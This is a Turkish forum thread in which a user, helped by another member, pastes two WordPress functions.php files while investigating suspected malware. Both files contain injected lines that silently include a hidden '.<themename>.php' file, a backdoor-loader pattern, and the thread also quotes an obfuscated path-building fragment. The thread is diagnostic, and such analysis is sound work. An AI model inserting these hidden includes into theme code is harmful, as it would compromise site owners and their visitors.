get_theme_root() . "/{$a330f63fa20505f149fefc94083041994->stylesheet}/.{$a330f63fa20505f149fefc94083041994->stylesheet}.php";
yukarda temanın yolu tespit edilerek stylesheet gidilmiş ve md5 ile şifrelenmiş. Yani büyük ihtimal temanda stylesheet.php adlı bir dosya var.
Functions.php içeriğini atar mısın.
Yeni temaya geçtiğim için eskisinin de atayım. Bu arada yeni temada bir çok functions.php var farklı yerlerde farklı amaçlar için
<?phpob_start();/*** Theme setup ***/load_theme_textdomain( 'templatic' );load_textdomain( 'templatic', TEMPLATEPATH . '/en_US.mo' );add_theme_support( 'post-thumbnails' );add_theme_support( 'automatic-feed-links' );add_image_size( 'article_thumbnail',240,170 );define( 'DOMAIN','templatic' );define( 'TT_ADMIN_FOLDER_NAME','admin' );
define( 'TT_ADMIN_FOLDER_URL',get_bloginfo( 'template_directory', 'display' ) . '/' . TT_ADMIN_FOLDER_NAME . '/' ); //css folder pathdefine( 'TT_THEME_OPTIONS_FOLDER_URL',get_bloginfo( 'template_directory', 'display' ) . '/' . TT_ADMIN_FOLDER_NAME . '/theme_options/' ); //css folder pathdefine( 'TT_WIDGETS_FOLDER_URL',get_bloginfo( 'template_directory', 'display' ) . '/' . TT_ADMIN_FOLDER_NAME . '/widgets/' ); //WIDGET folder pathdefine( 'TT_WIDGET_JS_FOLDER_URL',TT_WIDGETS_FOLDER_URL . 'widget_js/' ); //css folder path
define( 'TT_ADMIN_FOLDER_PATH',TEMPLATEPATH . '/' . TT_ADMIN_FOLDER_NAME . '/' ); //admin folder pathdefine( 'TT_MODULES_FOLDER_PATH',TEMPLATEPATH . '/modules/' ); //addons folder pathdefine( 'TT_WIDGET_FOLDER_PATH',TT_ADMIN_FOLDER_PATH . 'widgets/' ); //widget folder pathdefine( 'TT_LIBRARY_FOLDER_PATH',TEMPLATEPATH . '/library/' ); //library folder pathdefine( 'TT_FUNCTIONS_FOLDER_PATH',TT_LIBRARY_FOLDER_PATH . 'functions/' ); //functions folder pathdefine( 'TT_JSCRIPT_FOLDER_PATH',TT_LIBRARY_FOLDER_PATH . 'js/' ); //javascript folder pathdefine( 'TT_CSS_FOLDER_PATH',TT_LIBRARY_FOLDER_PATH . 'css/' ); //css folder pathdefine( 'TT_INCLUDES_FOLDER_PATH',TT_LIBRARY_FOLDER_PATH . 'includes/' ); //includes folder path
if ( file_exists( TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php' ) ) { include_once( TT_FUNCTIONS_FOLDER_PATH . 'custom_filters.php' ); // custom Filter}
// Theme admin functionsinclude_once( TT_FUNCTIONS_FOLDER_PATH . 'custom_functions.php' );include_once( TT_FUNCTIONS_FOLDER_PATH . 'get-the-image.php' );
include_once( TT_ADMIN_FOLDER_PATH . 'admin_main.php' ); //ALL ADMIN FILE INTEGRATORif ( file_exists( TT_WIDGET_FOLDER_PATH . 'widgets_main.php' ) ) { include_once( TT_WIDGET_FOLDER_PATH . 'widgets_main.php' ); // Theme admin WIDGET functions}if ( file_exists( TT_MODULES_FOLDER_PATH . 'modules_main.php' ) ) { include_once( TT_MODULES_FOLDER_PATH . 'modules_main.php' ); // Theme moduels include file}include_once( TT_ADMIN_FOLDER_PATH . 'auto_update_framework.php' ); //FRAMEWORK AUTO UPDATE LINKif ( file_exists( TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php' ) ) { include_once( TT_INCLUDES_FOLDER_PATH . 'auto_install/auto_install.php' ); // sample data insert file}
include_once( TEMPLATEPATH . '/library/includes/registration/reg_main.php' ); // registration, login and edit profileinclude_once( TEMPLATEPATH . '/library/includes/add_post/add_main.php' ); // Add , Edit and Delete Post
require_once( TT_FUNCTIONS_FOLDER_PATH . 'post_like.php' ); // Post Likerequire_once( TT_FUNCTIONS_FOLDER_PATH . 'custom_field.php' ); // Custom Fieldif ( get_option( 'ptthemes_addarticle_captcha' ) == 'Yes' || get_option( 'ptthemes_addarticle_captcha' ) == '' ) { include_once( TEMPLATEPATH . '/library/captcha/captcha_function.php' );}
// Allow iframe tags within editorif ( ! function_exists( 'tmpl_allow_iframe_tags' ) ) { function tmpl_allow_iframe_tags( $tags ) { $tags['iframe'] = array( 'src' => true, 'width' => true, 'height' => true, 'align' => true, 'class' => true, 'name' => true, 'id' => true, 'frameborder' => true, 'seamless' => true, 'srcdoc' => true, 'sandbox' => true, 'allowfullscreen' => true, ); return $tags; }}add_filter( 'wp_kses_allowed_html','tmpl_allow_iframe_tags', 1 );/*** Customizer - Theme Content Setting*/if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) { include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php');}
if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) { include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php');}
if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) { include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php');}
function articledirectory_theme_customization($wp_customize){ // Theme Setting $wp_customize->add_section('themesetting', array( 'priority' => 1, 'title' => esc_html__('Theme Options', 'templatic'), )); $wp_customize->add_setting('atricl_last_update', array( 'default' =>'', 'type' => 'theme_mod', )); $wp_customize->add_control('atricl_last_update', array( 'label' => __('Hide Last Update Date', 'templatic'), 'section' => 'themesetting', 'priority' => 10, 'type'=>'checkbox' )); $wp_customize->add_setting('home_pg_serch_box', array( 'default' =>'', 'type' => 'theme_mod', )); $wp_customize->add_control('home_pg_serch_box', array( 'label' => __('Hide Home Page Search Box', 'templatic'), 'section' => 'themesetting', 'priority' => 10, 'type'=>'checkbox' )); $wp_customize->add_setting('home_pg_sbmit_articl', array( 'default' =>'', 'type' => 'theme_mod', )); $wp_customize->add_control('home_pg_sbmit_articl', array( 'label' => __('Hide Home Page Submit Article Button', 'templatic'), 'section' => 'themesetting', 'priority' => 10, 'type'=>'checkbox' )); $wp_customize->add_setting('footer_txt', array( 'default' =>'', 'type' => 'theme_mod', )); $wp_customize->add_control('footer_txt', array( 'label' => __('Footer Credit Text', 'templatic'), 'section' => 'themesetting', 'priority' => 10, 'type'=>'textarea' ));}add_action('customize_register', 'articledirectory_theme_customization');function remove_comment_fields($fields) { unset($fields['url']); return $fields;}add_filter('comment_form_default_fields','remove_comment_fields');
BUDA ESKİSİNİN
<?php/** * iPanelThemes Knowledgebase functions and definitions * * @package iPanelThemes Knowledgebase */
/** * Set the version */global $ipt_kb_version;$ipt_kb_version = '1.7.0';
/** * Set the content width based on the theme's design and stylesheet. */if ( ! isset( $content_width ) ) $content_width = 640; /* pixels */
if ( ! function_exists( 'ipt_kb_setup' ) ) :/** * Sets up theme defaults and registers support for various WordPress features. * * Note that this function is hooked into the after_setup_theme hook, which runs * before the init hook. The init hook is too late for some features, such as indicating * support post thumbnails. */if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) { include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php');}
function ipt_kb_setup() {
/** * Make theme available for translation * Translations can be filed in the /languages/ directory * If you're building a theme based on iPanelThemes Knowledgebase, use a find and replace * to change 'ipt_kb' to the name of your theme in all the template files */ load_theme_textdomain( 'ipt_kb', get_template_directory() . '/languages' );
/** * Add default posts and comments RSS feed links to head */ add_theme_support( 'automatic-feed-links' );
/** * Enable support for Post Thumbnails on posts and pages * * @link http://codex.wordpress.org/Function_Reference/add_theme_support#Post_Thumbnails */ //add_theme_support( 'post-thumbnails' );
/** * This theme uses wp_nav_menu() in one location. */ register_nav_menus( array( 'primary' => __( 'Primary Menu', 'ipt_kb' ), ) );
/** * Setup the WordPress core custom background feature. */ add_theme_support( 'custom-background', apply_filters( 'ipt_kb_custom_background_args', array( 'default-color' => 'ffffff', 'default-image' => '', ) ) );
// Disable the admin bar //add_filter( 'show_admin_bar', '__return_false' );
// Add post thumbnail add_theme_support( 'post-thumbnails', array( 'post' ) );
// Add new theme title-tag WP4.1 add_theme_support( 'title-tag' );
add_image_size( 'ipt_kb_medium', 256, 128, true ); add_image_size( 'ipt_kb_large', 9999, 200, true );
// Add HTML5 add_theme_support( 'html5', array( 'comment-list', 'comment-form', 'search-form' ) );}endif; // ipt_kb_setupadd_action( 'after_setup_theme', 'ipt_kb_setup' );
/** * Backward compatibility */if ( ! function_exists( '_wp_render_title_tag' ) ) : function ipt_kb_render_title() {?><title><?php wp_title( '|', true, 'right' ); ?></title><?php } add_action( 'wp_head', 'ipt_kb_render_title' );endif;
/** * Register widgetized area and update sidebar with default widgets */if ( ! function_exists( 'ipt_kb_widgets_init' ) ) :function ipt_kb_widgets_init() { register_sidebar( array( 'name' => __( 'Knowledge Base Sidebar', 'ipt_kb' ), 'id' => 'sidebar-1', 'description' => __( 'Shows up only on category archive pages and single posts.', 'ipt_kb' ), 'before_widget' => '<aside id="%1$s" class="widget %2$s panel panel-default">', 'after_widget' => '</div></aside>', 'before_title' => '<div class="panel-heading"><h3 class="widget-title panel-title">', 'after_title' => '</h3></div><div class="panel-body">', ) ); register_sidebar( array( 'name' => __( 'General Sidebar', 'ipt_kb' ), 'id' => 'sidebar-4', 'description' => __( 'Shows up everywhere except the category archive pages and single posts.', 'ipt_kb' ), 'before_widget' => '<aside id="%1$s" class="widget %2$s panel panel-default">', 'after_widget' => '</div></aside>', 'before_title' => '<div class="panel-heading"><h3 class="widget-title panel-title">', 'after_title' => '</h3></div><div class="panel-body">', ) ); register_sidebar( array( 'name' => __( 'bbPress Sidebar', 'ipt_kb' ), 'id' => 'sidebar-5', 'description' => __( 'Shows up on bbPress forums and topics.', 'ipt_kb' ), 'before_widget' => '<aside id="%1$s" class="widget %2$s panel panel-default">', 'after_widget' => '</div></aside>', 'before_title' => '<div class="panel-heading"><h3 class="widget-title panel-title">', 'after_title' => '</h3></div><div class="panel-body">', ) ); register_sidebar( array( 'name' => __( 'Footer Large', 'ipt_kb' ), 'id' => 'sidebar-2', 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); register_sidebar( array( 'name' => __( 'Footer Small', 'ipt_kb' ), 'id' => 'sidebar-3', 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) );}endif;add_action( 'widgets_init', 'ipt_kb_widgets_init' );
/** * Fix for empty widget title * * As we are using panels */if ( ! function_exists( 'ipt_kb_widget_title_filter' ) ) :function ipt_kb_widget_title_filter( $title = '' ) { if ( $title == '' ) { return ' '; } return $title;}endif;add_filter( 'widget_title', 'ipt_kb_widget_title_filter' );
/** * Enqueue scripts and styles */if ( ! function_exists( 'ipt_kb_scripts' ) ) :function ipt_kb_scripts() { global $ipt_kb_version;
// Fonts from Google Webfonts wp_enqueue_style( 'ipt_kb-fonts', '//fonts.googleapis.com/css?family=Oswald|Roboto:400,400italic,700,700italic', array(), $ipt_kb_version );
// Main stylesheet wp_enqueue_style( 'ipt_kb-style', get_stylesheet_uri(), array(), $ipt_kb_version );
// Bootstrap wp_enqueue_style( 'ipt_kb-bootstrap', get_template_directory_uri() . '/lib/bootstrap/css/bootstrap.min.css', array(), $ipt_kb_version ); wp_enqueue_style( 'ipt_kb-bootstrap-theme', get_template_directory_uri() . '/lib/bootstrap/css/bootstrap-theme.min.css', array(), $ipt_kb_version );
// Icomoon wp_enqueue_style( 'ipt-icomoon-fonts', get_template_directory_uri() . '/lib/icomoon/icomoon.css', array(), $ipt_kb_version );
// Now the JS wp_enqueue_script( 'ipt_kb-bootstrap', get_template_directory_uri() . '/lib/bootstrap/js/bootstrap.min.js', array( 'jquery' ), $ipt_kb_version ); wp_enqueue_script( 'ipt_kb-bootstrap-jq', get_template_directory_uri() . '/lib/bootstrap/js/jquery.ipt-kb-bootstrap.js', array( 'jquery' ), $ipt_kb_version );
wp_enqueue_script( 'ipt_kb-skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', array(), $ipt_kb_version, true );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); }
if ( is_singular() && wp_attachment_is_image() ) { wp_enqueue_script( 'ipt_kb-keyboard-image-navigation', get_template_directory_uri() . '/js/keyboard-image-navigation.js', array( 'jquery' ), $ipt_kb_version ); }
// Load the sticky kit wp_enqueue_script( 'ipt-kb-sticky-kit', get_template_directory_uri() . '/lib/sticky-kit/jquery.sticky-kit.min.js', array( 'jquery' ), $ipt_kb_version );
// Load the theme js wp_enqueue_script( 'ipt-kb-js', get_template_directory_uri() . '/js/ipt-kb.js', array( 'jquery' ), $ipt_kb_version ); wp_localize_script( 'ipt-kb-js', 'iptKBJS', array( 'ajaxurl' => admin_url( 'admin-ajax.php' ), 'ajax_error' => __( 'Oops, some problem to connect. Try again?', 'ipt_kb' ), ) );}endif;add_action( 'wp_enqueue_scripts', 'ipt_kb_scripts' );
/** * Add compatibility with the EBS Plugin * For the latest version only * * @link http://wordpress.org/plugins/easy-bootstrap-shortcodes/ * * @param boolean $value The value of the filter * @return boolean True to disable frontend enqueue and settings page */function ipt_kb_ebs_compat( $value ) { return true;}add_filter( 'ebs_custom_option', 'ipt_kb_ebs_compat' );
/** * Add compatibility with older versions of EBS plugin * * Removes the stylesheets/javscripts */function ipt_kb_ebs_remove_enqueue() { wp_deregister_style( 'bootstrap' ); wp_deregister_style( 'bootstrap-icon' ); wp_deregister_script( 'bootstrap' );}add_action( 'wp_enqueue_scripts', 'ipt_kb_ebs_remove_enqueue', 11 );
/** * Add the excerpt hellip * @param string $more Default more * @return string new more */function ipt_kb_excerpt_more( $more ) { return '…';}add_filter( 'excerpt_more', 'ipt_kb_excerpt_more' );/** * Add filter to comment reply link to convert into bootstrap button * @param string $comment_reply_link default comment reply link * @param stdObj $post $post * @return string new reply link */if ( ! function_exists( 'ipt_kb_comment_reply_filter' ) ) :function ipt_kb_comment_reply_filter( $comment_reply_link, $post = null ) { $new = preg_replace( '/<a(.*?)class=\'(.*?)\'/', '<a$1class=\'$2 btn btn-info btn-sm\'', $comment_reply_link ); return $new;}endif;add_filter( 'comment_reply_link', 'ipt_kb_comment_reply_filter', 10, 2 );/** * Add filter to cancel comment reply link to convert into bootstrap button * @param string $comment_reply_link default comment reply link * @param stdObj $post $post * @return string new reply link */if ( ! function_exists( 'ipt_kb_cancel_comment_reply_filter' ) ) :function ipt_kb_cancel_comment_reply_filter( $cancel_comment_reply_link, $post = null ) { $new = str_replace( '<a', '<a class="btn btn-danger btn-sm"', $cancel_comment_reply_link ); return $new;}endif;add_filter( 'cancel_comment_reply_link', 'ipt_kb_cancel_comment_reply_filter', 10, 2 );
/** * Add filter to properly display wp_link_pages using bootstrap * @param string $link original link html * @return string Modified link html */if ( ! function_exists( 'ipt_kb_link_pages' ) ) :function ipt_kb_link_pages( $link ) { $return = $link; if ( is_numeric( $link ) ) { // Add the disabled $return = '<li class="active"><a href="javascript:;">' . $link . '</a></li>'; } else { $return = '<li>' . $link . '</li>'; } return $return;}endif;add_filter( 'wp_link_pages_link', 'ipt_kb_link_pages' );
/** * Include the TGM Plugin Activation */require get_template_directory() . '/inc/class-tgm-plugin-activation.php';
add_action( 'tgmpa_register', 'ipt_kb_required_plugins' );
if ( ! function_exists( 'ipt_kb_required_plugins' ) ) :function ipt_kb_required_plugins() { if ( function_exists( 'tgmpa' ) ) { $plugins = array();
// Base plugin $plugins[] = array( 'name' => 'iPanelThemes Theme Options', 'slug' => 'ipt-theme-options', 'source' => get_template_directory() . '/plugins/ipt-theme-options.zip', 'required' => true, 'version' => '0.0.1', 'force_activation' => true, 'external_url' => '', );
// Easy Bootstrap shortcode $plugins[] = array( 'name' => 'Easy Bootstrap Shortcode', 'slug' => 'easy-bootstrap-shortcodes', 'required' => true, 'version' => '4.2.3', );
// bbPress $plugins[] = array( 'name' => 'bbPress', 'slug' => 'bbpress', 'required' => false, 'version' => '2.5.5', );
// Category Order and Taxonomy Terms Order $plugins[] = array( 'name' => 'Category Order and Taxonomy Terms Order', 'slug' => 'taxonomy-terms-order', 'required' => false, 'version' => '1.4.1', );
// Post Types Order $plugins[] = array( 'name' => 'Post Types Order', 'slug' => 'post-types-order', 'required' => false, 'version' => '1.7.7', );
// SyntaxHighlighter Evolved $plugins[] = array( 'name' => 'SyntaxHighlighter Evolved', 'slug' => 'syntaxhighlighter', 'required' => false, 'version' => '3.1.11', );
$config = array( 'default_path' => get_template_directory() . '/plugins', // Default absolute path to pre-packaged plugins. 'menu' => 'tgmpa-install-plugins', // Menu slug. 'has_notices' => true, // Show admin notices or not. 'dismissable' => true, // If false, a user cannot dismiss the nag message. 'dismiss_msg' => '', // If 'dismissable' is false, this message will be output at top of nag. 'is_automatic' => false, // Automatically activate plugins after installation or not. 'message' => '', // Message to output right before the plugins table. 'strings' => array( 'page_title' => __( 'Install Required Plugins', 'tgmpa' ), 'menu_title' => __( 'Install Plugins', 'tgmpa' ), 'installing' => __( 'Installing Plugin: %s', 'tgmpa' ), // %s = plugin name. 'oops' => __( 'Something went wrong with the plugin API.', 'tgmpa' ), 'notice_can_install_required' => _n_noop( 'This theme requires the following plugin: %1$s.', 'This theme requires the following plugins: %1$s.' ), // %1$s = plugin name(s). 'notice_can_install_recommended' => _n_noop( 'This theme recommends the following plugin: %1$s.', 'This theme recommends the following plugins: %1$s.' ), // %1$s = plugin name(s). 'notice_cannot_install' => _n_noop( 'Sorry, but you do not have the correct permissions to install the %s plugin. Contact the administrator of this site for help on getting the plugin installed.', 'Sorry, but you do not have the correct permissions to install the %s plugins. Contact the administrator of this site for help on getting the plugins installed.' ), // %1$s = plugin name(s). 'notice_can_activate_required' => _n_noop( 'The following required plugin is currently inactive: %1$s.', 'The following required plugins are currently inactive: %1$s.' ), // %1$s = plugin name(s). 'notice_can_activate_recommended' => _n_noop( 'The following recommended plugin is currently inactive: %1$s.', 'The following recommended plugins are currently inactive: %1$s.' ), // %1$s = plugin name(s). 'notice_cannot_activate' => _n_noop( 'Sorry, but you do not have the correct permissions to activate the %s plugin. Contact the administrator of this site for help on getting the plugin activated.', 'Sorry, but you do not have the correct permissions to activate the %s plugins. Contact the administrator of this site for help on getting the plugins activated.' ), // %1$s = plugin name(s). 'notice_ask_to_update' => _n_noop( 'The following plugin needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'The following plugins need to be updated to their latest version to ensure maximum compatibility with this theme: %1$s.' ), // %1$s = plugin name(s). 'notice_cannot_update' => _n_noop( 'Sorry, but you do not have the correct permissions to update the %s plugin. Contact the administrator of this site for help on getting the plugin updated.', 'Sorry, but you do not have the correct permissions to update the %s plugins. Contact the administrator of this site for help on getting the plugins updated.' ), // %1$s = plugin name(s). 'install_link' => _n_noop( 'Begin installing plugin', 'Begin installing plugins' ), 'activate_link' => _n_noop( 'Begin activating plugin', 'Begin activating plugins' ), 'return' => __( 'Return to Required Plugins Installer', 'tgmpa' ), 'plugin_activated' => __( 'Plugin activated successfully.', 'tgmpa' ), 'complete' => __( 'All plugins installed and activated successfully. %s', 'tgmpa' ), // %s = dashboard link. 'nag_type' => 'updated' // Determines admin notice type - can only be 'updated', 'update-nag' or 'error'. ) );
tgmpa( $plugins ); }}endif;
/** * Modify the options plugin */if ( ! function_exists( 'ipt_kb_theme_ops_tabs' ) ) :function ipt_kb_theme_ops_tabs( $tabs ) { $new_tabs = array(); foreach ( $tabs as $tab ) { if ( in_array( $tab['id'], array( 'ipt_navigation', 'ipt_integration' ) ) ) { $new_tabs[] = $tab; } } return $new_tabs;}endif;add_filter( 'ipt_theme_op_admin_tabs', 'ipt_kb_theme_ops_tabs' );
if ( ! function_exists( 'ipt_kb_theme_op_name' ) ) :function ipt_kb_theme_op_name( $name ) { return __( 'Knowledge Base Theme', 'ipt_kb' );}endif;add_filter( 'ipt_theme_op_active_theme_name', 'ipt_kb_theme_op_name' );
if ( ! function_exists( 'ipt_kb_theme_op_version' ) ) :function ipt_kb_theme_op_version( $v ) { global $ipt_kb_version; return $ipt_kb_version;}endif;add_filter( 'ipt_theme_op_active_theme_version', 'ipt_kb_theme_op_version' );
if ( ! function_exists( 'ipt_kb_op_theme_meta' ) ) :function ipt_kb_op_theme_meta( $links ) { $links['documentation']['link'] = 'http://ipanelthemes.com/kb/wp-knowledge-base-theme/'; $links['support']['link'] = 'https://wordpress.org/support/theme/wp-knowledge-base'; return $links;}endif;add_filter( 'ipt_theme_op_active_theme_meta', 'ipt_kb_op_theme_meta' );
/** * Include the walker class for bootstrap nav menu */require get_template_directory() . '/inc/class-ipt-bootstrap-walker-nav-menu.php';/** * Implement the Custom Header feature. */require get_template_directory() . '/inc/custom-header.php';
/** * Custom template tags for this theme. */require get_template_directory() . '/inc/template-tags.php';
/** * Custom functions that act independently of the theme templates. */require get_template_directory() . '/inc/extras.php';
/** * Customizer additions. */require get_template_directory() . '/inc/customizer.php';
/** * Load custom category fields */require get_template_directory() . '/inc/category-fields.php';
/** * Load the KB Like Article Thingy */require get_template_directory() . '/inc/ipt-kb-like-article.php';
/** * Load the Affix Widget */require get_template_directory() . '/inc/class-ipt-kb-affix-widget.php';
/** * Load the Social Widget */require get_template_directory() . '/inc/class-ipt-kb-social-widget.php';
/** * Load the Knowledge Base Widget */require get_template_directory() . '/inc/class-ipt-kb-knowledgebase-widget.php';
/** * Load the Popular Articles Widget */require get_template_directory() . '/inc/class-ipt-kb-popular-widget.php';
/** * Load the bbPress functions */if ( function_exists( 'bbpress' ) ) { require get_template_directory() . '/inc/bbpress.php';}// Yorum URL kaldirmafunction remove_comment_fields($fields) { unset($fields['url']); return $fields;}add_filter('comment_form_default_fields','remove_comment_fields');